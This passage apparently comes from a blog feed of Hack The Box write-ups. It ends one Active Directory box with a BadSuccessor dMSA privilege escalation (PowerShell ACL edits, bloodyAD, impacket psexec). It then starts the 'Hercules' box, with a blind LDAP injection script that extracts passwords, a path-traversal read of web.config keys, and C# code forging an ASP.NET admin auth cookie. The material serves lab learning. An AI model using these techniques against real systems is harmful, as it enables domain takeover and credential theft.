&lt;p&gt;I used &lt;a href=&quot;https://seriotonctf.github.io/BloodyAD-Cheatsheet/&quot;&gt;this cheatsheet&lt;/a&gt; to enumerate the target using various &lt;code&gt;bloodyAD&lt;/code&gt; commands. One command showed me some interesting output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2673f954db0aa7a31a0e9840d4840574.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This showed us that we have &lt;code&gt;WRITE&lt;/code&gt; permissions, however we still couldn&apos;t do much with it at this point. From my &lt;code&gt;nxc&lt;/code&gt; enumeration I remembered the system version of the target.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5db9b7d71b38898f1bb96be4a2f8907f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While this version seems up to date, there have apparently been found flaws already that could help us in this case.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;BadSuccessor - Abusing dMSA&lt;/h2&gt;
&lt;p&gt;Looking around on google I found the following &lt;a href=&quot;https://forestall.io/blog/en/active-directory/privilege-escalation-by-abusing-dmsa-the-badsuccessor-vulnerability/&quot;&gt;blog post&lt;/a&gt; that matched my current situation:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fa8e762a29d2114ada7551cfc5592438.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A bit further down we see how it matches the current situation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/27f425af9c7b3b79eecc6c0091964e02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;I then got to the exploitation part and used the following command to create a new computer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;New-MachineAccount -MachineAccount ATTACKER -Password (ConvertTo-SecureString &apos;P@ssword123&apos; -AsPlainText -Force) -DistinguishedName &quot;CN=ATTACKER,OU=Staff,DC=eighteen,DC=htb&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ce22222cf3efc16cd2660ce3ea31d901.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As the blog mentions:&lt;/p&gt;
&lt;p&gt;:::note
To achieve privilege escalation within the domain, it is necessary either to create a &lt;strong&gt;dMSA&lt;/strong&gt; account or to have write permissions on the &lt;strong&gt;msDS-ManagedAccountPrecededByLink&lt;/strong&gt; and &lt;strong&gt;msDS-DelegatedMSAState&lt;/strong&gt; attributes of an existing &lt;strong&gt;dMSA&lt;/strong&gt; account.
:::&lt;/p&gt;
&lt;p&gt;Next up we&apos;ll use the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;New-ADServiceAccount -Name &quot;vulnDMSA&quot; -DNSHostName &quot;vulndmsa.eighteen.htb&quot; -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword &quot;CN=ATTACKER,OU=Staff,DC=eighteen,DC=htb&quot; -Path &quot;OU=Staff,DC=eighteen,DC=htb&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Identity you control
$identity = &quot;eighteen\adam.scott&quot;
 
# DN of the target DMSA object
$objectDN = &quot;CN=vulnDMSA,OU=Staff,DC=eighteen,DC=htb&quot;
 
# Get current ACL on the DMSA
$acl = Get-Acl &quot;AD:$objectDN&quot;
 
# Convert identity into an NTAccount object
$identityRef = New-Object System.Security.Principal.NTAccount($identity)
 
# Create a GenericAll ACE (full control on this ONE object)
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule `
(
    $identityRef,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow
)
 
# Add ACE to object ACL
$acl.AddAccessRule($ace)
 
# Write back ACL
Set-Acl -Path &quot;AD:$objectDN&quot; -AclObject $acl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/36ab1a6f08185924e2a866393356b7cc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once that is done the next commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Bind to the DMSA object
$dMSA = [ADSI]&quot;LDAP://CN=vulnDMSA,OU=Staff,DC=eighteen,DC=htb&quot;

# Mark migration as finished (required before modifying precededBy)
$dMSA.Put(&quot;msDS-DelegatedMSAState&quot;, 2)

# Set the precededBy link to the target object (Administrator in this example)
$dMSA.Put(&quot;msDS-ManagedAccountPrecededByLink&quot;, &quot;CN=Administrator,CN=Users,DC=eighteen,DC=htb&quot;)

# Commit the changes
$dMSA.SetInfo()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
During the creation of the &lt;strong&gt;dMSA&lt;/strong&gt; account, the attacker obtains the TGT ticket associated with the machine account they are using via the &lt;strong&gt;PrincipalsAllowedToRetrieveManagedPassword&lt;/strong&gt; configuration, making this machine account the preferred choice since it has the necessary permissions to read the &lt;strong&gt;dMSA&lt;/strong&gt; object’s password.
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\Rubeus.exe asktgt /user:ATTACKER$ /password:&apos;P@ssword123&apos; /enctype:aes256 /nowrap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However this ultimately did not work for some reason:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1cfc057815245b1279d87da5cea97cef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;more bloodyAD&lt;/h3&gt;
&lt;p&gt;Instead I opted to use &lt;code&gt;bloodyAD&lt;/code&gt; instead of doing it via &lt;code&gt;powershell&lt;/code&gt;. In order to do this though I had to reference the &lt;a href=&quot;https://github.com/CravateRouge/bloodyAD/issues/101&quot;&gt;following github issue&lt;/a&gt; since it wouldn&apos;t work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e912be7ee8744a676a4134c817e67fd7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I looked up where my &lt;code&gt;bloodyAD&lt;/code&gt; package was installed and modified the code:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b0f19c8a8156dc03f04ed788b3c16ea8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/63062856abed75730dd8204295107ac8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/504b4cdfd111b25bf381e6d200c5888b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once this was fixed it worked without an issue:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --dc-ip 240.0.0.1 -d eighteen.htb -u adam.scott -p iloveyou1 add badSuccessor hacker3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/422adbea29e5ebc3185490a49555511c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now I was able to get the service ticket:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getST -dc-ip 240.0.0.1 -spn &apos;ldap/dc01.eighteen.htb&apos; eighteen.htb/hacker3$ -k -no-pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/880b96245ef162a74318500a0979ec0e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once this was done it was free game:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-psexec -k -no-pass &apos;eighteen.htb/hacker3$@dc01.eighteen.htb&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6bda4307af5b8a39a849cc373e61c7a6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;root.txt&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;attachments/539d9e21a29ed6b681b9d9b37e4ae303.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ba372a1e579db82bc1a6f8226d81c388.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/p&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Hercules</title><link>https://maxk9999.vercel.app/posts/hercules</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/hercules</guid><pubDate>Wed, 19 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &quot;~/components/PasswordProtect.client&quot;;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.91
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn hercules.htb 

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://hercules.htb/
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-11-19 09:55:05Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES/domainComponent=hercules
443/tcp   open  ssl/http      syn-ack Microsoft IIS httpd 10.0
| tls-alpn: 
|_  http/1.1
|_http-title: Hercules Corp
| ssl-cert: Subject: commonName=hercules.htb
| Subject Alternative Name: DNS:hercules.htb
| Issuer: commonName=hercules.htb
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
5986/tcp  open  ssl/http      syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES/domainComponent=hercules
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49684/tcp open  msrpc         syn-ack Microsoft Windows RPC
50731/tcp open  msrpc         syn-ack Microsoft Windows RPC
50737/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 65257/tcp): CLEAN (Timeout)
|   Check 2 (port 63960/tcp): CLEAN (Timeout)
|   Check 3 (port 8730/udp): CLEAN (Timeout)
|   Check 4 (port 30712/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-11-19T09:55:55
|_  start_date: N/A
|_clock-skew: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;h2&gt;88/TCP - Kerberos&lt;/h2&gt;
&lt;h3&gt;mutating wordlist&lt;/h3&gt;
&lt;p&gt;Starting off I tried enumerating some users but this gave no valid users.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d86a1e966c4791b23d6fe6e86650722.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then decided to mutate existing wordlists:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while read -r u; do for c in {a..z}; do echo &quot;${u}.${c}&quot;; done; done &amp;lt; /usr/share/seclists/Usernames/statistically-likely-usernames/john.txt &amp;gt; mutated.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3a4dc8eeddbee2b89d3f33f64e69f433.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This started pouring out usernames like it was christmas:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a0a10429acdc9155bf9d03d4b1370b70.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4e6ba16a8ee6e429737c9ab49c3457d0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;443/TCP - HTTPS&lt;/h2&gt;
&lt;p&gt;Over on port &lt;code&gt;443&lt;/code&gt; we notice a website running:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f3b11692d92545b9b2855055f88a3402.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This appears to be static so I run a &lt;code&gt;gobuster&lt;/code&gt; scan.&lt;/p&gt;
&lt;h3&gt;gobuster&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c2f8f1f3523fec631af52ee39e3983eb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I find the &lt;code&gt;/login&lt;/code&gt; endpoint and head on over:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9e8080f707407806415c26f7d9552533.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried some input to analyse the request:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fe683c4ad98171e18e03e8d40343613e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;burpsuite&lt;/h3&gt;
&lt;p&gt;Inside &lt;code&gt;burp&lt;/code&gt; I analysed the request:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7c486ba3fe0f5f8f500707e164dbad99.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We need to be caucious with our testing:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0617c4d200fb9b7fd0d82a75830006c3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It appears that there is some sort of &lt;strong&gt;rate-limiting&lt;/strong&gt; present.&lt;/p&gt;
&lt;p&gt;:::note
Since the found users are using the &lt;code&gt;ldap&lt;/code&gt; protocol this could mean that there is a presence of &lt;strong&gt;LDAP Injection&lt;/strong&gt; here.
:::&lt;/p&gt;
&lt;h3&gt;LDAP Injection&lt;/h3&gt;
&lt;p&gt;For my testing I would use &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection&quot;&gt;this cheatsheet&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ac5e50c347fded8972cf41f6911e19f4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately this didn&apos;t show anything and it was more of a &lt;em&gt;blind&lt;/em&gt; injection.&lt;/p&gt;
&lt;p&gt;:::note
I was stuck here and was provided the following script that would automate the LDAP Injection testing for me.
:::&lt;/p&gt;
&lt;p&gt;With the help of the below script we could quickly enumerate whether a user has a password in their &lt;strong&gt;description&lt;/strong&gt; field.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import requests
import string
import urllib3
import re
import time

GREEN = &quot;\033[92m&quot;
RESET = &quot;\033[0m&quot;

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Configuration
BASE = &quot;https://hercules.htb&quot;
LOGIN_PATH = &quot;/Login&quot;
LOGIN_PAGE = &quot;/login&quot;
TARGET_URL = BASE + LOGIN_PATH
VERIFY_TLS = False

# Success indicator (valid user, wrong password)
SUCCESS_INDICATOR = &quot;Login attempt failed&quot;

# Token regex
TOKEN_RE = re.compile(r&apos;name=&quot;__RequestVerificationToken&quot;\s+type=&quot;hidden&quot;\s+value=&quot;([^&quot;]+)&quot;&apos;, re.IGNORECASE)

with open(&quot;usernames.txt&quot;, &quot;r&quot;) as f:
    KNOWN_USERS = [line.strip() for line in f if line.strip()]

def get_token_and_cookie(session):
    response = session.get(BASE + LOGIN_PAGE, verify=VERIFY_TLS)
    token = None
    match = TOKEN_RE.search(response.text)
    if match:
        token = match.group(1)
    return token

def test_ldap_injection(username, description_prefix=&quot;&quot;):
    session = requests.Session()
    token = get_token_and_cookie(session)
    if not token:
        return False

    # Build LDAP injection payload
    if description_prefix:
        escaped_desc = description_prefix
        if &apos;*&apos; in escaped_desc:
            escaped_desc = escaped_desc.replace(&apos;*&apos;, &apos;\\2a&apos;)
        if &apos;(&apos; in escaped_desc:
            escaped_desc = escaped_desc.replace(&apos;(&apos;, &apos;\\28&apos;)
        if &apos;)&apos; in escaped_desc:
            escaped_desc = escaped_desc.replace(&apos;)&apos;, &apos;\\29&apos;)
        payload = f&quot;{username}*)(description={escaped_desc}*&quot;
    else:
        # Check if user has description field
        payload = f&quot;{username}*)(description=*&quot;

    # Double URL encode
    encoded_payload = &apos;&apos;.join(f&apos;%{byte:02X}&apos; for byte in payload.encode(&apos;utf-8&apos;))

    data = {
        &quot;Username&quot;: encoded_payload,
        &quot;Password&quot;: &quot;test&quot;,
        &quot;RememberMe&quot;: &quot;false&quot;,
        &quot;__RequestVerificationToken&quot;: token
    }

    try:
        response = session.post(TARGET_URL, data=data, verify=VERIFY_TLS, timeout=5)
        return SUCCESS_INDICATOR in response.text
    except Exception as e:
        return False

def enumerate_description(username):
    charset = (
        string.ascii_lowercase +
        string.digits +
        string.ascii_uppercase +
        &quot;!@#$_*-.&quot; + # Common special chars
        &quot;%^&amp;amp;()=+[]{}|;:&apos;,&amp;lt;&amp;gt;?/`~\&quot; \\&quot; # Less common special chars
    )

    print(f&quot;\n[*] Checking user: {username}&quot;)

    if not test_ldap_injection(username):
        print(f&quot;[-] User {username} has no description field&quot;)
        return None

    print(f&quot;[+] User {username} has a description field, enumerating...&quot;)
    description = &quot;&quot;
    max_length = 50
    no_char_count = 0

    for position in range(max_length):
        found = False
        for char in charset:
            test_desc = description + char
            if test_ldap_injection(username, test_desc):
                description += char
                print(f&quot; Position {position}: &apos;{char}&apos; -&amp;gt; Current: {description}&quot;)
                found = True
                no_char_count = 0
                break
            # Small delay to avoid rate limiting IMPORTANT!!!
            time.sleep(0.01)

        if not found:
            no_char_count += 1
            if no_char_count &amp;gt;= 2:
                break

    if description:
        print(f&quot;[+] Complete: {username} =&amp;gt; {description}&quot;)
        return description
    return None

def main():
    print(&quot;=&quot;*60)
    print(&quot;Hercules LDAP Description/Password Enumeration&quot;)
    print(f&quot;Testing {len(KNOWN_USERS)} users&quot;)
    print(&quot;=&quot;*60)

    found_passwords = {}
    
    for user in KNOWN_USERS:
        password = enumerate_description(user)
        if password:
            found_passwords[user] = password
            
            # Save results immediately
            with open(&quot;passwords.txt&quot;, &quot;a&quot;) as f:
                f.write(f&quot;{user}:{password}\n&quot;)
            print(f&quot;\n[+] FOUND: {user}:{GREEN}{password}{RESET}\n&quot;)

    print(&quot;\n&quot; + &quot;=&quot;*60)
    print(&quot;ENUMERATION COMPLETE&quot;)
    print(&quot;=&quot;*60)

    if found_passwords:
        print(f&quot;\nFound {len(found_passwords)} passwords:&quot;)
        for user, pwd in found_passwords.items():
            print(f&quot; {user}: {pwd}&quot;)
    else:
        print(&quot;\nNo passwords found&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We run the script:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7088ebb4a30340e19aa65c130a10662b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Further down below we notice this output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fff12dc6973c080e9a3a18102473e77b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;johnathan.j
change*th1s_p@ssw()rd!!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However these creds don&apos;t work for the website:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/174fe58ac53f516ea5781a7f6a2a831b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try them for the &lt;code&gt;ldap&lt;/code&gt; protocol instead.&lt;/p&gt;
&lt;h3&gt;nxc&lt;/h3&gt;
&lt;p&gt;I used &lt;code&gt;nxc&lt;/code&gt; to password spray:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/321d0f5f788a1f58fc73d9aadc10fc9f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
It mentions &lt;code&gt;STATUS_NOT_SUPPORTED&lt;/code&gt; instead of logon failure, meaning we need to append the &lt;code&gt;-k&lt;/code&gt; option to enable the kerberos pre_auth&lt;br /&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f987cefea3174881e226e28f8deebfe7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This time around we have a match:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ken.w 
change*th1s_p@ssw()rd!!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Checking the target with the &lt;code&gt;get-desc-users&lt;/code&gt; module we see the password in &lt;em&gt;jonathan.j&lt;/em&gt;&apos;s description:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a291d2b72ca7760c2206093aa05fe3db.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important
Don&apos;t store your password in the description 😁
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a5a620fd31a51e58c9282e5c66d0e7fc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Access&lt;/h3&gt;
&lt;p&gt;This time around it gave me access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/85b98d26cb477abececd8b24289a12ed.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Checking the mail we find 3 mails:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/42ff0c6e730e9510b67a26f6d5733f60.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6786c26d27946015de1a7699479b4cea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This mail shows us why we&apos;re able to connect using &lt;code&gt;ldap&lt;/code&gt; credentials. Furthermore it shows us the &lt;code&gt;web_admin&lt;/code&gt; user.&lt;/p&gt;
&lt;p&gt;I then checked the next email:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a3386ef7b9293a9eef6561434621fb92.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Interesting, this might come in handy.&lt;/p&gt;
&lt;p&gt;Lastly:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6cd0136a65998bc3db482650e6476aca.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However even after adding these hosts to the &lt;code&gt;/etc/hosts&lt;/code&gt; file the pages wouldn&apos;t load:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/45f2a722182bc1060dea7063d064131c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;LFI&lt;/h3&gt;
&lt;p&gt;Instead I headed over to the &lt;strong&gt;Downloads&lt;/strong&gt; tab:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/104a07970f1261f9160c830b9d07271d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When I intercepted the request upon downloading a file I noticed the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a066be7d418cbf38df400d6be711d05b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I sent this request to &lt;strong&gt;Repeater&lt;/strong&gt; where I tried to abuse &lt;strong&gt;LFI&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/Home/Download?fileName=../../web.config
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0b16d3a9b93673ea65cbe3534a0a1b49.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The response showed some valuable data:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c6d3e37cfae385aa670a61d75ab61c3f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;decryption=&quot;AES&quot;
decryptionKey=&quot;B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581&quot; 
validation=&quot;HMACSHA256&quot; 
validationKey=&quot;EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dotnet&lt;/h3&gt;
&lt;p&gt;Using &lt;code&gt;dotnet&lt;/code&gt; we can attempt some shenanigans:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/28c246bf8269d03dd7fdd36cf31ad040.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When this is done we will need to use the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dotnet add package AspNetCore.LegacyAuthCookieCompat --version 2.0.5
dotnet restore
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/552a886e41e444275bfa6e7442e43160.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e6ad3df9470110f0f10ed1b536e302ed.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we will be overwriting the &lt;code&gt;Program.cs&lt;/code&gt; code using the following code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;using System;
using System.Security.Claims;
using System.Threading.Tasks;
using AspNetCore.LegacyAuthCookieCompat;

class Program
{
    static void Main(string[] args)
    {
        string validationKey = 
&quot;EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80&quot;;

        string decryptionKey = 
&quot;B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581&quot;;

        var issueDate = DateTime.Now;
        var expiryDate = issueDate.AddHours(1);
        var formsAuthenticationTicket = new FormsAuthenticationTicket(1, &quot;web_admin&quot;, 
issueDate, expiryDate, false, &quot;Web Administrators&quot;, &quot;/&quot;);

        byte[] decryptionKeyBytes = HexUtils.HexToBinary(decryptionKey);
        byte[] validationKeyBytes = HexUtils.HexToBinary(validationKey);

        var legacyFormsAuthenticationTicketEncryptor = new 
LegacyFormsAuthenticationTicketEncryptor(decryptionKeyBytes, validationKeyBytes, 
ShaVersion.Sha256);

        var encryptedText = 
legacyFormsAuthenticationTicketEncryptor.Encrypt(formsAuthenticationTicket);

        Console.WriteLine(encryptedText);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
Pay attention to the above, this will basically forge us access as the &lt;em&gt;web_admin&lt;/em&gt; account that we&apos;ve found previously
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0d93adefba315b507da6fc9c9cbc6225.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once the code is written we will compile and run it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c764bc6f83a6588e7e8e322f421a76c5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The program has compiled us a cookie which is valid for the &lt;em&gt;web_admin&lt;/em&gt; user, we will now use this cookie to replace the current one on the website:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4b6fdca76bd8ec00e7980b7ad28f1440.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now change the value of &lt;code&gt;.ASPXAUTH&lt;/code&gt; to the generated cookie and refresh the page, this will change the access to &lt;em&gt;web_admin&lt;/em&gt;:&lt;/p&gt;
